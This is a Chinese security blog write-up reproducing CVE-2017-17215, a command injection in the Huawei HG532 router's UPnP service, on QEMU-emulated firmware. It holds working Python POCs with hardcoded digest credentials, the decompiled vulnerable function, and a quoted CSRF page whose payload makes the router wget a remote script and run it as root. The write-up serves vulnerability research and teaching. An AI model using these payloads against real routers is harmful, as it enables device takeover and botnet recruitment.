复现｜路由器命令执行
2022-2-28 17:4:51 Author: www.secpulse.com(查看原文) 阅读量:23 收藏

上次有小伙伴反馈说，摄像头的仿真部分写的不详细，正好最近在先知上看到了ONESHELL师傅的文章「见参考链接1」，所以今天我们就以这台路由器为例子，使用QEMU仿真模拟并分析该漏洞的成因「固件下载公众号（物联网IoT安全）后台回复：  华为路由器  」

1 解压固件

尝试binwalk提取文件系统：

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解压出来的有很多文件，最主要的就是squashfs文件系统这个文件夹

2 模拟仿真

首先在解包的文件系统中找一个可执行文件，使用file命令查看一下系统架构等信息

如上图所示，可以知道该系统为MIPS架构，因此我们在启动QEMU的时候需要使用MIPS的内核以及文件系统：

下载地址：

https://people.debian.org/~aurel32/qemu/mips/

因为我们期望宿主机能够和QEMU仿真机处在同一个网络环境中，所以我们要对网络进行设置，首先是在宿主机中配置tap网络：

sudo tunctl -t tap0 -u root
sudo ifconfig tap0 192.168.3.1/24
sudo ifconfig

接下来启动QEMU：

sudo qemu-system-mips -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s

账号密码均为root

给qemu中的仿真机设置IP地址

为了方便上传解包的文件系统，我们这里先用tar将文件系统打包

使用SCP传输文件

在QEMU仿真机中解压

挂载固件文件系统中的proc目录和dev目录到chroot环境，因为proc中存储着进程所需的文件，比如pid文件等等，而dev中存储着相关的设备

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh

通过ssh连接qemu，并启动路由器「此处需要再次执行chroot」

启动路由器

通过之前的qemu终端我们可以查看到ip地址已经发生变化，因此sh登陆的链接已经被断开，所以我们这里再将IP地址修改回来

这个时候再使用浏览器访问192.168.3.2即可

账号密码分别为：admin / @Hua1234，存在于固件压缩包的账号密码文件内：

3 漏洞复现

根据网上的复现文章，payload如下：

import requests headers = {    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}
data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>  </u:Upgrade> </s:Body></s:Envelope>'''requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到在NewStatusURL标签处注入了代码，例如上面的POC为创建一个名为hell的文件夹。

4 漏洞分析

首先需要分析出这37215端口的应用程序「此处对应的程序为upnp｜怎么查找端口对应的程序可以参照我们之前的一篇文章」，然后对该程序进行逆向。从POC中可以分析，注入点是在<NewStatusURL>，通过在Ghidra中搜索该字符串，并查找交叉引用，找到目标函数「IDA不大行，没法F5，我也不知道为啥，求知道的师傅讲解」：

我们可以看到这sprinf将418和414变量直接写入到了1040字符串，未经过任何验证就直接使用system执行

int FUN_0040749c(int param_1)
{
  int iVar1;  
  int local_418;  
  int local_414;  
  char acStack1040 [1028];    
  
  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);  
  if (((iVar1 == 0) && (local_418 != 0)) &&    
     (iVar1 = ATP_XML_GetChildNodeByName   
                       (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))  
 {  
   if (local_414 != 0) {      
     snprintf(acStack1040,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",    
              local_418,local_414);      
     system(acStack1040);    
   }  
  }  
  return iVar1;
}

可以看到程序通过ATP_XML_GetChildNodeByName函数来获取NewDownloadURL节点的内容，然后判断结果是否为空，如果获取成功且结果不为空则继续获取NewStatusURL节点的内容，再判断结果是否空，如果不为空则将NewDownloadURL和NewStatusURL节点的内容拼接到字符串，并执行。

此处我们就可以构造插入命令执行

POC如下：

import requests headers = {    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}
data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">   <NewStatusURL>;mkdir hell;</NewStatusURL>   <NewDownloadURL>;mkdir hello;</NewDownloadURL>  </u:Upgrade> </s:Body></s:Envelope>'''response = requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)print(response)

在两个注入点分别注入不同的命令，qemu仿真机建立的文件如下

5 漏洞扩展

值得一提的是，该路由器的upnp只能从内网端口访问，默认无法从外网端口访问，那我们有什么办法扩大该漏洞影响呢？

通过查阅资料，我们发现了[email protected]腾讯玄武实验室师傅对该漏洞的探索，如下：

要成功发起该请求需要满足以下两点：一是成功通过服务器端的HTTP基础认证，二是构造XML攻击代码。仔细观察HTTP基础认证的字段，我们可以发现，用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单，使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。接下来就是如何用表单来构造一个XML的请求包了

https://paper.seebug.org/498/

最终，salt师傅构造的CSRF攻击payload如下：

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain' action="http://dslf-config:[email protected]:37215/ctrlt/DeviceUpgrade_1">
     <input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>  
  </form>
</body>

攻击者只要诱使用户访问包含上述代码的页面，存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行

能够将仅能在内网触发的漏洞扩大到远程攻击的想法，值得我们在每次漏洞挖掘中去思考

5 漏洞影响

在Satori僵尸网络事件中，攻击者使用的0day漏洞为华为家用路由器HG532远程执行任意代码（CVE-2017-17215），payload是名为OKIRU/SATORI，是Mirai的升级版变种。攻击发起者的昵称为Nexus Zeta

研究人员确认了漏洞后，就通报给华为，华为安全团队非常给力，很快对该漏洞进行了响应和修复，并提供了补丁

关于该僵尸漏洞的详细信息，可以阅读如下报告：https://cloud.tencent.com/developer/news/7159

Time Line：

  • 2018-02-06 V1.5 UPDATED Updated the description

  • 2017-12-22 V1.4 UPDATED Added the description of solution

  • 2017-12-14 V1.3 UPDATED Added CVE-ID

  • 2017-12-07 V1.2 UPDATED Added Temporary Fixes

  • 2017-12-06 V1.1 UPDATED Added the IPS signature

  • 2017-11-30 V1.0 INITIAL

参考引用：

https://xz.aliyun.com/t/8494https://xz.aliyun.com/t/4819https://paper.seebug.org/498/https://xz.aliyun.com/t/4130#toc-5https://f01965.com/2020/07/25/CVE-2017-17215/https://research.checkpoint.com/2017/good-zero-day-skiddie/

本文作者：物联网IOT安全

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/174035.html


文章来源: https://www.secpulse.com/archives/174035.html
如有侵权请联系:admin#unsafe.sh